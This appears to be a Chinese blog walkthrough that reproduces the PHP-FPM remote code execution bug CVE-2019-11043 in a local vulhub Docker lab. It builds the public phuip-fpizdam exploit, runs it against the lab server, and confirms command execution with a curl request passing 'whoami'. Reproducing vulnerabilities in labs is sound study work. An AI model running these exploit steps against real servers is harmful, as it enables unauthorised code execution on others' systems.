PHP-fpm 远程代码执行漏洞复现(CVE-2019-11043)

PHP-fpm 远程代码执行漏洞复现(CVE-2019-11043)

  • 环境搭建
  • 漏洞复现
  • 参考文章

环境搭建

启动docker

systemctl start docker

获取vulhub

git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git

进入对应目录

cd vulhub/php/CVE-2019-11043/

启动容器

docker-compose up -d

查看容器

docker ps

PHP-fpm 远程代码执行漏洞复现(CVE-2019-11043)_第1张图片
访问http://127.0.0.1:8080/
PHP-fpm 远程代码执行漏洞复现(CVE-2019-11043)_第2张图片
安装go环境

apt-get install golang -y

下载exp

git clone --depth=1 https://hub.fastgit.org/neex/phuip-fpizdam.git

生成exp

cd phuip-fpizdam
go build

因为国内无法访问golang.org所以需要想办法下载

漏洞复现

./phuip-fpizdam http://192.168.164.158:8080/index.php
curl http://192.168.164.158:8080/index.php?a=whoami

PHP-fpm 远程代码执行漏洞复现(CVE-2019-11043)_第3张图片

参考文章

https://vulhub.org/#/environments/php/CVE-2019-11043/
https://www.runoob.com/go/go-environment.html
https://github.com/neex/phuip-fpizdam

你可能感兴趣的:(漏洞复现)